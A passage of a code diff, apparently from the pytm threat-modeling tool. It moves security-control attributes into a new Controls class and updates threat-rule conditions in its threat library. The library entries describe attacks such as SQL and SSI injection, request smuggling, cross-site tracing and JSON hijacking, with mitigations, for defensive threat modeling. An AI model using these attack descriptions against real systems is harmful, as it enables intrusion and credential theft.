+            setattr(self, attr, value)
+        except ValueError:
+            pass
+
+
 
 class Element:
     """A generic element"""
@@ -1142,11 +1265,13 @@ class Element:
         required=False,
         doc="Location of the source code that describes this element relative to the directory of the model script.",
     )
+    controls = varControls(None)
 
     def __init__(self, name, **kwargs):
         for key, value in kwargs.items():
             setattr(self, key, value)
         self.name = name
+        self.controls = Controls()
         self.uuid = uuid.UUID(int=random.getrandbits(128))
         self._is_drawn = False
         TM._elements.append(self)
@@ -1354,47 +1479,47 @@ class Asset(Element):
     """An asset with outgoing or incoming dataflows"""
 
     port = varInt(-1, doc="Default TCP port for incoming data flows")
-    isEncrypted = varBool(False, doc="Requires incoming data flow to be encrypted")
+#    isEncrypted = varBool(False, doc="Requires incoming data flow to be encrypted")
     protocol = varString("", doc="Default network protocol for incoming data flows")
     data = varData([], doc="pytm.Data object(s) in incoming data flows")
     inputs = varElements([], doc="incoming Dataflows")
     outputs = varElements([], doc="outgoing Dataflows")
     onAWS = varBool(False)
-    isHardened = varBool(False)
-    implementsAuthenticationScheme = varBool(False)
-    implementsNonce = varBool(
-        False,
-        doc="""Nonce is an arbitrary number
-that can be used just once in a cryptographic communication.
-It is often a random or pseudo-random number issued in an authentication protocol
-to ensure that old communications cannot be reused in replay attacks.
-They can also be useful as initialization vectors and in cryptographic
-hash functions.""",
-    )
+#    isHardened = varBool(False)
+#    implementsAuthenticationScheme = varBool(False)
+#    implementsNonce = varBool(
+#        False,
+#        doc="""Nonce is an arbitrary number
+#that can be used just once in a cryptographic communication.
+#It is often a random or pseudo-random number issued in an authentication protocol
+#to ensure that old communications cannot be reused in replay attacks.
+#They can also be useful as initialization vectors and in cryptographic
+#hash functions.""",
+#    )
     handlesResources = varBool(False)
-    definesConnectionTimeout = varBool(False)
-    authenticatesDestination = varBool(
-        False,
-        doc="""Verifies the identity of the destination,
-for example by verifying the authenticity of a digital certificate.""",
-    )
-    checksDestinationRevocation = varBool(
-        False,
-        doc="""Correctly checks the revocation status
-of credentials used to authenticate the destination""",
-    )
-    authenticatesSource = varBool(False)
-    authorizesSource = varBool(False)
-    hasAccessControl = varBool(False)
-    validatesInput = varBool(False)
-    sanitizesInput = varBool(False)
-    checksInputBounds = varBool(False)
-    encodesOutput = varBool(False)
-    handlesResourceConsumption = varBool(False)
-    authenticationScheme = varString("")
+#    definesConnectionTimeout = varBool(False)
+#    authenticatesDestination = varBool(
+#        False,
+#        doc="""Verifies the identity of the destination,
+#for example by verifying the authenticity of a digital certificate.""",
+#    )
+#    checksDestinationRevocation = varBool(
+#        False,
+#        doc="""Correctly checks the revocation status
+#of credentials used to authenticate the destination""",
+#    )
+#    authenticatesSource = varBool(False)
+#    authorizesSource = varBool(False)
+#    hasAccessControl = varBool(False)
+#    validatesInput = varBool(False)
+#    sanitizesInput = varBool(False)
+#    checksInputBounds = varBool(False)
+#    encodesOutput = varBool(False)
+#    handlesResourceConsumption = varBool(False)
+#    authenticationScheme = varString("")
     usesEnvironmentVariables = varBool(False)
     OS = varString("")
-    providesIntegrity = varBool(False)
+#    providesIntegrity = varBool(False)
 
     def __init__(self, name, **kwargs):
         super().__init__(name, **kwargs)
@@ -1446,33 +1571,33 @@ def _shape(self):
 class Server(Asset):
     """An entity processing data"""
 
-    providesConfidentiality = varBool(False)
-    providesIntegrity = varBool(False)
-    validatesHeaders = varBool(False)
-    encodesHeaders = varBool(False)
-    implementsCSRFToken = varBool(False)
-    isResilient = varBool(False)
+    #providesConfidentiality = varBool(False)
+    #providesIntegrity = varBool(False)
+    #validatesHeaders = varBool(False)
+    #encodesHeaders = varBool(False)
+    #implementsCSRFToken = varBool(False)
+    #isResilient = varBool(False)
     usesSessionTokens = varBool(False)
-    usesEncryptionAlgorithm = varString("")
+    #usesEncryptionAlgorithm = varString("")
     usesCache = varBool(False)
     usesVPN = varBool(False)
-    usesCodeSigning = varBool(False)
-    validatesContentType = varBool(False)
-    invokesScriptFilters = varBool(False)
-    usesStrongSessionIdentifiers = varBool(False)
-    implementsServerSideValidation = varBool(False)
+    #usesCodeSigning = varBool(False)
+    #validatesContentType = varBool(False)
+    #invokesScriptFilters = varBool(False)
+    #usesStrongSessionIdentifiers = varBool(False)
+    #implementsServerSideValidation = varBool(False)
     usesXMLParser = varBool(False)
-    disablesDTD = varBool(False)
-    implementsStrictHTTPValidation = varBool(False)
-    implementsPOLP = varBool(
-        False,
-        doc="""The principle of least privilege (PoLP),
-also known as the principle of minimal privilege or the principle of least authority,
-requires that in a particular abstraction layer of a computing environment,
-every module (such as a process, a user, or a program, depending on the subject)
-must be able to access only the information and resources
-that are necessary for its legitimate purpose.""",
-    )
+    #disablesDTD = varBool(False)
+    #implementsStrictHTTPValidation = varBool(False)
+    #implementsPOLP = varBool(
+    #    False,
+    #    doc="""The principle of least privilege (PoLP),
+#also known as the principle of minimal privilege or the principle of least authority,
+#requires that in a particular abstraction layer of a computing environment,
+#every module (such as a process, a user, or a program, depending on the subject)
+#must be able to access only the information and resources
+#that are necessary for its legitimate purpose.""",
+#    )
 
     def __init__(self, name, **kwargs):
         super().__init__(name, **kwargs)
@@ -1500,24 +1625,24 @@ class Datastore(Asset):
     )
     storesSensitiveData = varBool(False)
     isSQL = varBool(True)
-    providesConfidentiality = varBool(False)
-    providesIntegrity = varBool(False)
+#    providesConfidentiality = varBool(False)
+#    providesIntegrity = varBool(False)
     isShared = varBool(False)
     hasWriteAccess = varBool(False)
-    handlesResourceConsumption = varBool(False)
-    isResilient = varBool(False)
-    handlesInterruptions = varBool(False)
-    usesEncryptionAlgorithm = varString("")
-    implementsPOLP = varBool(
-        False,
-        doc="""The principle of least privilege (PoLP),
-also known as the principle of minimal privilege or the principle of least authority,
-requires that in a particular abstraction layer of a computing environment,
-every module (such as a process, a user, or a program, depending on the subject)
-must be able to access only the information and resources
-that are necessary for its legitimate purpose.""",
-    )
-    isEncryptedAtRest = varBool(False, doc="Stored data is encrypted at rest")
+#    handlesResourceConsumption = varBool(False)
+#    isResilient = varBool(False)
+#    handlesInterruptions = varBool(False)
+#    usesEncryptionAlgorithm = varString("")
+#    implementsPOLP = varBool(
+#        False,
+#        doc="""The principle of least privilege (PoLP),
+#also known as the principle of minimal privilege or the principle of least authority,
+#requires that in a particular abstraction layer of a computing environment,
+#every module (such as a process, a user, or a program, depending on the subject)
+#must be able to access only the information and resources
+#that are necessary for its legitimate purpose.""",
+#    )
+#    isEncryptedAtRest = varBool(False, doc="Stored data is encrypted at rest")
 
     def __init__(self, name, **kwargs):
         super().__init__(name, **kwargs)
@@ -1562,19 +1687,19 @@ class Actor(Element):
     data = varData([], doc="pytm.Data object(s) in outgoing data flows")
     inputs = varElements([], doc="incoming Dataflows")
     outputs = varElements([], doc="outgoing Dataflows")
-    authenticatesDestination = varBool(
-        False,
-        doc="""Verifies the identity of the destination,
-for example by verifying the authenticity of a digital certificate.""",
-    )
-    checksDestinationRevocation = varBool(
-        False,
-        doc="""Correctly checks the revocation status
-of credentials used to authenticate the destination""",
-    )
+#    authenticatesDestination = varBool(
+#        False,
+#        doc="""Verifies the identity of the destination,
+#for example by verifying the authenticity of a digital certificate.""",
+#    )
+#    checksDestinationRevocation = varBool(
+#        False,
+#        doc="""Correctly checks the revocation status
+#of credentials used to authenticate the destination""",
+#   )
     isAdmin = varBool(False)
     # should not be settable, but accessible
-    providesIntegrity = False
+#    providesIntegrity = False
 
     def __init__(self, name, **kwargs):
         super().__init__(name, **kwargs)
@@ -1586,41 +1711,41 @@ class Process(Asset):
 
     codeType = varString("Unmanaged")
     implementsCommunicationProtocol = varBool(False)
-    providesConfidentiality = varBool(False)
-    providesIntegrity = varBool(False)
-    isResilient = varBool(False)
+#    providesConfidentiality = varBool(False)
+#    providesIntegrity = varBool(False)
+#    isResilient = varBool(False)
     tracksExecutionFlow = varBool(False)
-    implementsCSRFToken = varBool(False)
-    handlesResourceConsumption = varBool(False)
-    handlesCrashes = varBool(False)
-    handlesInterruptions = varBool(False)
+#    implementsCSRFToken = varBool(False)
+#    handlesResourceConsumption = varBool(False)
+#    handlesCrashes = varBool(False)
+#    handlesInterruptions = varBool(False)
     implementsAPI = varBool(False)
-    usesSecureFunctions = varBool(False)
+#    usesSecureFunctions = varBool(False)
     environment = varString("")
-    disablesiFrames = varBool(False)
-    implementsPOLP = varBool(
-        False,
-        doc="""The principle of least privilege (PoLP),
-also known as the principle of minimal privilege or the principle of least authority,
-requires that in a particular abstraction layer of a computing environment,
-every module (such as a process, a user, or a program, depending on the subject)
-must be able to access only the information and resources
-that are necessary for its legitimate purpose.""",
-    )
-    usesParameterizedInput = varBool(False)
+#    disablesiFrames = varBool(False)
+#    implementsPOLP = varBool(
+#        False,
+#        doc="""The principle of least privilege (PoLP),
+#also known as the principle of minimal privilege or the principle of least authority,
+#requires that in a particular abstraction layer of a computing environment,
+#every module (such as a process, a user, or a program, depending on the subject)
+#must be able to access only the information and resources
+#that are necessary for its legitimate purpose.""",
+#    )
+#    usesParameterizedInput = varBool(False)
     allowsClientSideScripting = varBool(False)
-    usesStrongSessionIdentifiers = varBool(False)
-    encryptsCookies = varBool(False)
-    usesMFA = varBool(
-        False,
-        doc="""Multi-factor authentication is an authentication method
-in which a computer user is granted access only after successfully presenting two
-or more pieces of evidence (or factors) to an authentication mechanism: knowledge
-(something the user and only the user knows), possession (something the user
-and only the user has), and inherence (something the user and only the user is).""",
-    )
-    encryptsSessionData = varBool(False)
-    verifySessionIdentifiers = varBool(False)
+#    usesStrongSessionIdentifiers = varBool(False)
+#    encryptsCookies = varBool(False)
+#    usesMFA = varBool(
+#        False,
+#        doc="""Multi-factor authentication is an authentication method
+#in which a computer user is granted access only after successfully presenting two
+#or more pieces of evidence (or factors) to an authentication mechanism: knowledge
+#(something the user and only the user knows), possession (something the user
+#and only the user has), and inherence (something the user and only the user is).""",
+#    )
+#    encryptsSessionData = varBool(False)
+#    verifySessionIdentifiers = varBool(False)
 
     def __init__(self, name, **kwargs):
         super().__init__(name, **kwargs)
@@ -1647,7 +1772,7 @@ class Dataflow(Element):
     responseTo = varElement(None, doc="Is a response to this data flow")
     srcPort = varInt(-1, doc="Source TCP port")
     dstPort = varInt(-1, doc="Destination TCP port")
-    isEncrypted = varBool(False, doc="Is the data encrypted")
+#    isEncrypted = varBool(False, doc="Is the data encrypted")
     tlsVersion = varTLSVersion(
         TLSVersion.NONE,
         required=True,
@@ -1655,23 +1780,23 @@ class Dataflow(Element):
     )
     protocol = varString("", doc="Protocol used in this data flow")
     data = varData([], doc="pytm.Data object(s) in incoming data flows")
-    authenticatesDestination = varBool(
-        False,
-        doc="""Verifies the identity of the destination,
-for example by verifying the authenticity of a digital certificate.""",
-    )
-    checksDestinationRevocation = varBool(
-        False,
-        doc="""Correctly checks the revocation status
-of credentials used to authenticate the destination""",
-    )
-    authenticatedWith = varBool(False)
+#    authenticatesDestination = varBool(
+#        False,
+#        doc="""Verifies the identity of the destination,
+#for example by verifying the authenticity of a digital certificate.""",
+#    )
+#    checksDestinationRevocation = varBool(
+#        False,
+#        doc="""Correctly checks the revocation status
+#of credentials used to authenticate the destination""",
+#    )
+#    authenticatedWith = varBool(False)
     order = varInt(-1, doc="Number of this data flow in the threat model")
-    implementsAuthenticationScheme = varBool(False)
+#    implementsAuthenticationScheme = varBool(False)
     implementsCommunicationProtocol = varBool(False)
     note = varString("")
     usesVPN = varBool(False)
-    authorizesSource = varBool(False)
+#    authorizesSource = varBool(False)
     usesSessionTokens = varBool(False)
 
     def __init__(self, source, sink, name, **kwargs):
@@ -1794,6 +1919,7 @@ def ts_tm(obj):
     return serialize(obj, nested=True)
 
 
+@to_serializable.register(Controls)
 @to_serializable.register(Data)
 @to_serializable.register(Threat)
 @to_serializable.register(Element)
diff --git a/pytm/threatlib/threats.json b/pytm/threatlib/threats.json
index decb9dba..1a6a450a 100644
--- a/pytm/threatlib/threats.json
+++ b/pytm/threatlib/threats.json
@@ -9,7 +9,7 @@
     "details": "This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.usesEnvironmentVariables is True and target.sanitizesInput is False and target.checksInputBounds is False",
+    "condition": "target.usesEnvironmentVariables is True and target.controls.sanitizesInput is False and target.controls.checksInputBounds is False",
     "prerequisites": "The application uses environment variables.An environment variable exposed to the user is vulnerable to a buffer overflow.The vulnerable environment variable uses untrusted data.Tainted data used in the environment variables is not properly validated. For instance boundary checking is not done before copying the input data to a buffer.",
     "mitigations": "Do not expose environment variable to the user.Do not use untrusted data in your environment variables. Use a language or compiler that performs automatic bounds checking. There are tools such as Sharefuzz [R.10.3] which is an environment variable fuzzer for Unix that support loading a shared library. You can use Sharefuzz to determine if you are exposing an environment variable vulnerable to buffer overflow.",
     "example": "Attack Example: Buffer Overflow in $HOME A buffer overflow in sccw allows local users to gain root access via the $HOME environmental variable. Attack Example: Buffer Overflow in TERM A buffer overflow in the rlogin program involves its consumption of the TERM environmental variable.",
@@ -24,7 +24,7 @@
     "details": "Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an adversary. As a consequence, an adversary is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the adversaries' choice.",
     "Likelihood Of Attack": "High",
     "severity": "Very High",
-    "condition": "target.checksInputBounds is False",
+    "condition": "target.controls.checksInputBounds is False",
     "prerequisites": "Targeted software performs buffer operations.Targeted software inadequately performs bounds-checking on buffer operations.Adversary has the capability to influence the input to buffer operations.",
     "mitigations": "Use a language or compiler that performs automatic bounds checking. Use secure functions not vulnerable to buffer overflow. If you have to use dangerous functions, make sure that you do boundary checking. Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution. Use OS-level preventative functionality. Not a complete solution. Utilize static source code analysis tools to identify potential buffer overflow weaknesses in the software.",
     "example": "The most straightforward example is an application that reads in input from the user and stores it in an internal buffer but does not check that the size of the input data is less than or equal to the size of the buffer. If the user enters excessive length data, the buffer may overflow leading to the application crashing, or worse, enabling the user to cause execution of injected code.Many web servers enforce security in web applications through the use of filter plugins. An example is the SiteMinder plugin used for authentication. An overflow in such a plugin, possibly through a long URL or redirect parameter, can allow an adversary not only to bypass the security checks but also execute arbitrary code on the target web server in the context of the user that runs the web server process.",
@@ -39,7 +39,7 @@
     "details": "An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.sanitizesInput is False or target.encodesOutput is False",
+    "condition": "target.controls.sanitizesInput is False or target.controls.encodesOutput is False",
     "prerequisites": "A web server that supports server side includes and has them enabledUser controllable input that can carry include directives to the web server",
     "mitigations": "Set the OPTIONS IncludesNOEXEC in the global access.conf file or local .htaccess (Apache) file to deny SSI execution in directories that do not need them. All user controllable input must be appropriately sanitized before use in the application. This includes omitting, or encoding, certain characters or strings that have the potential of being interpreted as part of an SSI directive. Server Side Includes must be enabled only if there is a strong business reason to do so. Every additional component enabled on the web server increases the attack surface as well as administrative overhead.",
     "example": "Consider a website hosted on a server that permits Server Side Includes (SSI), such as Apache with the Options Includes directive enabled. Whenever an error occurs, the HTTP Headers along with the entire request are logged, which can then be displayed on a page that allows review of such errors. A malicious user can inject SSI directives in the HTTP Headers of a request designed to create an error. When these logs are eventually reviewed, the server parses the SSI directives and executes them.",
@@ -70,7 +70,7 @@
     "details": "HTTP Request Splitting (also known as HTTP Request Smuggling) is an attack pattern where an attacker attempts to insert additional HTTP requests in the body of the original (enveloping) HTTP request in such a way that the browser interprets it as one request but the web server interprets it as two. There are several ways to perform HTTP request splitting attacks. One way is to include double Content-Length headers in the request to exploit the fact that the devices parsing the request may each use a different header. Another way is to submit an HTTP request with a Transfer Encoding: chunked in the request header set with setRequestHeader to allow a payload in the HTTP Request that can be considered as another HTTP Request by a subsequent parsing entity. A third way is to use the Double CR in an HTTP header technique. There are also a few less general techniques targeting specific parsing vulnerabilities in certain web servers.",
     "Likelihood Of Attack": "Medium",
     "severity": "High",
-    "condition": "(target.validatesInput is False or target.validatesHeaders is False) and target.protocol =='HTTP'",
+    "condition": "(target.controls.validatesInput is False or target.controls.validatesHeaders is False) and target.protocol =='HTTP'",
     "prerequisites": "User-manipulateable HTTP Request headers are processed by the web server",
     "mitigations": "Make sure to install the latest vendor security patches available for the web server. If possible, make use of SSL. Install a web application firewall that has been secured against HTTP Request Splitting. Use web servers that employ a tight HTTP parsing process.",
     "example": "Microsoft Internet Explorer versions 5.01 SP4 and prior, 6.0 SP2 and prior, and 7.0 contain a vulnerability that could allow an unauthenticated, remote attacker to conduct HTTP request splitting and smuggling attacks. The vulnerability is due to an input validation error in the browser that allows attackers to manipulate certain headers to expose the browser to HTTP request splitting and smuggling attacks. Attacks may include cross-site scripting, proxy cache poisoning, and session fixation. In certain instances, an exploit could allow the attacker to bypass web application firewalls or other filtering devices. Microsoft has confirmed the vulnerability and released software updates",
@@ -86,7 +86,7 @@
     "details": "Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to destination system's web server. The adversary first gets a malicious script to run in the victim's browser that induces the browser to initiate an HTTP TRACE request to the web server. If the destination web server allows HTTP TRACE requests, it will proceed to return a response to the victim's web browser that contains the original HTTP request in its body. The function of HTTP TRACE, as defined by the HTTP specification, is to echo the request that the web server receives from the client back to the client. Since the HTTP header of the original request had the victim's session cookie in it, that session cookie can now be picked off the HTTP TRACE response and sent to the adversary's malicious site. XST becomes relevant when direct access to the session cookie via the document.cookie object is disabled with the use of httpOnly attribute which ensures that the cookie can be transmitted in HTTP requests but cannot be accessed in other ways. Using SSL does not protect against XST. If the system with which the victim is interacting is susceptible to XSS, an adversary can exploit that weakness directly to get his or her malicious script to issue an HTTP TRACE request to the destination system's web server. In the absence of an XSS weakness on the site with which the victim is interacting, an adversary can get the script to come from the site that he controls and get it to execute in the victim's browser (if he can trick the victim's into visiting his malicious website or clicking on the link that he supplies). However, in that case, due to the same origin policy protection mechanism in the browser, the adversary's malicious script cannot directly issue an HTTP TRACE request to the destination system's web server because the malicious script did not originate at that domain. An adversary will then need to find a way to exploit another weakness that would enable him or her to get around the same origin policy protection.",
     "Likelihood Of Attack": "Medium",
     "severity": "Very High",
-    "condition": "(target.protocol == 'HTTP' and target.usesSessionTokens is True) and (target.sanitizesInput is False or target.validatesInput is False)",
+    "condition": "(target.protocol == 'HTTP' and target.usesSessionTokens is True) and (target.controls.sanitizesInput is False or target.controls.validatesInput is False)",
     "prerequisites": "HTTP TRACE is enabled on the web serverThe destination system is susceptible to XSS or an adversary can leverage some other weakness to bypass the same origin policyScripting is enabled in the client's browserHTTP is used as the communication protocol between the server and the client",
     "mitigations": "Administrators should disable support for HTTP TRACE at the destination's web server. Vendors should disable TRACE by default. Patch web browser against known security origin policy bypass exploits.",
     "example": "An adversary determines that a particular system is vulnerable to reflected cross-site scripting (XSS) and endeavors to leverage this weakness to steal the victim's authentication cookie. An adversary realizes that since httpOnly attribute is set on the user's cookie, it is not possible to steal it directly with his malicious script. Instead, the adversary has their script use XMLHTTP ActiveX control in the victim's IE browser to issue an HTTP TRACE to the target system's server which has HTTP TRACE enabled. The original HTTP TRACE request contains the session cookie and so does the echoed response. The adversary picks the session cookie from the body of HTTP TRACE response and ships it to the adversary. The adversary then uses the newly acquired victim's session cookie to impersonate the victim in the target system.",
@@ -101,7 +101,7 @@
     "details": "An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.",
     "Likelihood Of Attack": "Low",
     "severity": "Very High",
-    "condition": "target.validatesInput is False",
+    "condition": "target.controls.validatesInput is False",
     "prerequisites": "The application does not properly validate data before storing in the databaseBackend application implicitly trusts the data stored in the databaseMalicious data is used on the backend as a command line argument",
     "mitigations": "Disable MSSQL xp_cmdshell directive on the databaseProperly validate the data (syntactically and semantically) before writing it to the database. Do not implicitly trust the data stored in the database. Re-validate it prior to usage to make sure that it is safe to use in a given context (e.g. as a command line argument).",
     "example": "SQL injection vulnerability in Cacti 0.8.6i and earlier, when register_argc_argv is enabled, allows remote attackers to execute arbitrary SQL commands via the (1) second or (2) third arguments to cmd.php. NOTE: this issue can be leveraged to execute arbitrary commands since the SQL query results are later used in the polling_items array and popen function",
@@ -116,7 +116,7 @@
     "details": "An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.",
     "Likelihood Of Attack": "High",
     "severity": "Very High",
-    "condition": "target.protocol == 'SOAP' and (target.sanitizesInput is False or target.validatesInput is False)",
+    "condition": "target.protocol == 'SOAP' and (target.controls.sanitizesInput is False or target.controls.validatesInput is False)",
     "prerequisites": "SOAP messages are used as a communication mechanism in the systemSOAP parameters are not properly validated at the service providerThe service provider does not properly utilize parameter binding when building SQL queries",
     "mitigations": "Properly validate and sanitize/reject user input at the service provider. Ensure that prepared statements or other mechanism that enables parameter binding is used when accessing the database in a way that would prevent the attackers' supplied data from controlling the structure of the executed query. At the database level, ensure that the database user used by the application in a particular context has the minimum needed privileges to the database that are needed to perform the operation. When possible, run queries against pre-generated views rather than the tables directly.",
     "example": "An attacker uses a travel booking system that leverages SOAP communication between the client and the travel booking service. An attacker begins to tamper with the outgoing SOAP messages by modifying their parameters to include characters that would break a dynamically constructed SQL query. He notices that the system fails to respond when these malicious inputs are injected in certain parameters transferred in a SOAP message. The attacker crafts a SQL query that modifies his payment amount in the travel system's database and passes it as one of the parameters . A backend batch payment system later fetches the payment amount from the database (the modified payment amount) and sends to the credit card processor, enabling the attacker to purchase the airfare at a lower price. An attacker needs to have some knowledge of the system's database, perhaps by exploiting another weakness that results in information disclosure.",
@@ -131,7 +131,7 @@
     "details": "An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website. An attacker gets the victim to visit his or her malicious page that contains a script tag whose source points to the vulnerable system with a URL that requests a response from the server containing a JSON object with possibly confidential information. The malicious page also contains malicious code to capture the JSON object returned by the server before any other processing on it can take place, typically by overriding the JavaScript function used to create new objects. This hook allows the malicious code to get access to the creation of each object and transmit the possibly sensitive contents of the captured JSON object to the attackers' server. There is nothing in the browser's security model to prevent the attackers' malicious JavaScript code (originating from attacker's domain) to set up an environment (as described above) to intercept a JSON object response (coming from the vulnerable target system's domain), read its contents and transmit to the attackers' controlled site. The same origin policy protects the domain object model (DOM), but not the JSON.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.implementsNonce is False and any(d.format == 'JSON' for d in target.data)",
+    "condition": "target.controls.implementsNonce is False and any(d.format == 'JSON' for d in target.data)",
     "prerequisites": "JSON is used as a transport mechanism between the client and the serverThe target server cannot differentiate real requests from forged requestsThe JSON object returned from the server can be accessed by the attackers' malicious code via a script tag",
     "mitigations": "Ensure that server side code can differentiate between legitimate requests and forged requests. The solution is similar to protection against Cross Site Request Forger (CSRF), which is to use a hard to guess random nonce (that is unique to the victim's session with the server) that the attacker has no way of knowing (at least in the absence of other weaknesses). Each request from the client to the server should contain this nonce and the server should reject all requests that do not contain the nonce. On the client side, the system's design could make it difficult to get access to the JSON object content via the script tag. Since the JSON object is never assigned locally to a variable, it cannot be readily modified by the attacker before being used by a script tag. For instance, if while(1) was added to the beginning of the JavaScript returned by the server, trying to access it with a script tag would result in an infinite loop. On the other hand, legitimate client side code can remove the while(1) statement after which the JavaScript can be evaluated. A similar result can be achieved by surrounding the returned JavaScript with comment tags, or using other similar techniques (e.g. wrapping the JavaScript with HTML tags). Make the URLs in the system used to retrieve JSON objects unpredictable and unique for each user session. 4. Ensure that to the extent possible, no sensitive data is passed from the server to the client via JSON objects. JavaScript was never intended to play that role, hence the same origin policy does not adequate address this scenario.",
     "example": "Gmail service was found to be vulnerable to a JSON Hijacking attack that enabled an attacker to get the contents of the victim's address book. An attacker could send an e-mail to the victim's Gmail account (which ensures that the victim is logged in to Gmail when he or she receives it) with a link to the attackers' malicious site. If the victim clicked on the link, a request (containing the victim's authenticated session cookie) would be sent to the Gmail servers to fetch the victim's address book. This functionality is typically used by the Gmail service to get this data on the fly so that the user can be provided a list of contacts from which to choose the recipient of the e-mail. When the JSON object with the contacts came back, it was loaded into the JavaScript space via a script tag on the attackers' malicious page. Since the JSON object was never assigned to a local variable (which would have prevented a script from a different domain accessing it due to the browser's same origin policy), another mechanism was needed to access the data that it contained. That mechanism was overwriting the internal array constructor with the attackers' own constructor in order to gain access to the JSON object's contents. These contents could then be transferred to the site controlled by the attacker.",
@@ -147,7 +147,7 @@
     "details": "An adversary manipulates the use or processing of an Application Programming Interface (API) resulting in an adverse impact upon the security of the system implementing the API. This can allow the adversary to execute functionality not intended by the API implementation, possibly compromising the system which integrates the API. API manipulation can take on a number of forms including forcing the unexpected use of an API, or the use of an API in an unintended way. For example, an adversary may make a request to an application that leverages a non-standard API that is known to incorrectly validate its data and thus it may be manipulated by supplying metacharacters or alternate encodings as input, resulting in any number of injection flaws, including SQL injection, cross-site scripting, or command execution. Another example could be API methods that should be disabled in a production application but were not, thus exposing dangerous functionality within a production environment.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "target.implementsAPI is True and (target.validatesInput is False or target.sanitizesInput is False)",
+    "condition": "target.implementsAPI is True and (target.controls.validatesInput is False or target.controls.sanitizesInput is False)",
     "prerequisites": "The target system must expose API functionality in a manner that can be discovered and manipulated by an adversary. This may require reverse engineering the API syntax or decrypting/de-obfuscating client-server exchanges.",
     "mitigations": "Always use HTTPS and SSL Certificates. Firewall optimizations to prevent unauthorized access to or from a private network. Use strong authentication and authorization mechanisms. A proven protocol is OAuth 2.0, which enables a third-party application to obtain limited access to an API. Use IP whitelisting and rate limiting.",
     "example": "Since APIs can be accessed over the internet just like any other URI with some sensitive data attached to the request, they share the vulnerabilities of any other resource accessible on the internet like Man-in-the-middle, CSRF Attack, Denial of Services, etc.",
@@ -163,7 +163,7 @@
     "details": "An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker. This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the Exploitation of Session Variables, Resource IDs and other Trusted Credentials attack patterns.",
     "Likelihood Of Attack": "",
     "severity": "Medium",
-    "condition": "target.authenticatesSource is False",
+    "condition": "target.controls.authenticatesSource is False",
     "prerequisites": "An authentication mechanism or subsystem implementing some form of authentication such as passwords, digest authentication, security certificates, etc. which is flawed in some way.",
     "mitigations": "Use strong authentication and authorization mechanisms. A proven protocol is OAuth 2.0, which enables a third-party application to obtain limited access to an API.",
     "example": "An adversary that has previously obtained unauthorized access to certain device resources, uses that access to obtain information such as location and network information.",
@@ -178,7 +178,7 @@
     "details": "An adversary actively probes the target in a manner that is designed to solicit information that could be leveraged for malicious purposes. This is achieved by exploring the target via ordinary interactions for the purpose of gathering intelligence about the target, or by sending data that is syntactically invalid or non-standard in an attempt to produce a response that contains the desired data. As a result of these interactions, the adversary is able to obtain information from the target that aids the attacker in making inferences about its security, configuration, or potential vulnerabilities. Examplar exchanges with the target may trigger unhandled exceptions or verbose error messages that reveal information like stack traces, configuration information, path information, or database design. This type of attack also includes the manipulation of query strings in a URI to produce invalid SQL queries, or by trying alternative path values in the hope that the server will return useful information.",
     "Likelihood Of Attack": "High",
     "severity": "Medium",
-    "condition": "(target.sanitizesInput is False or target.validatesInput is False) or target.encodesOutput is False",
+    "condition": "(target.controls.sanitizesInput is False or target.controls.validatesInput is False) or target.controls.encodesOutput is False",
     "prerequisites": "An adversary requires some way of interacting with the system.",
     "mitigations": "Minimize error/response output to only what is necessary for functional use or corrective language. Remove potentially sensitive information that is not necessary for the application's functionality.",
     "example": "The adversary may collect this information through a variety of methods including active querying as well as passive observation. By exploiting weaknesses in the design or configuration of the target and its communications, an adversary is able to get the target to reveal more information than intended. Information retrieved may aid the adversary in making inferences about potential weaknesses, vulnerabilities, or techniques that assist the adversary's objectives. This information may include details regarding the configuration or capabilities of the target, clues as to the timing or nature of activities, or otherwise sensitive information. Often this sort of attack is undertaken in preparation for some other type of attack, although the collection of information by itself may in some cases be the end goal of the adversary.",
@@ -193,7 +193,7 @@
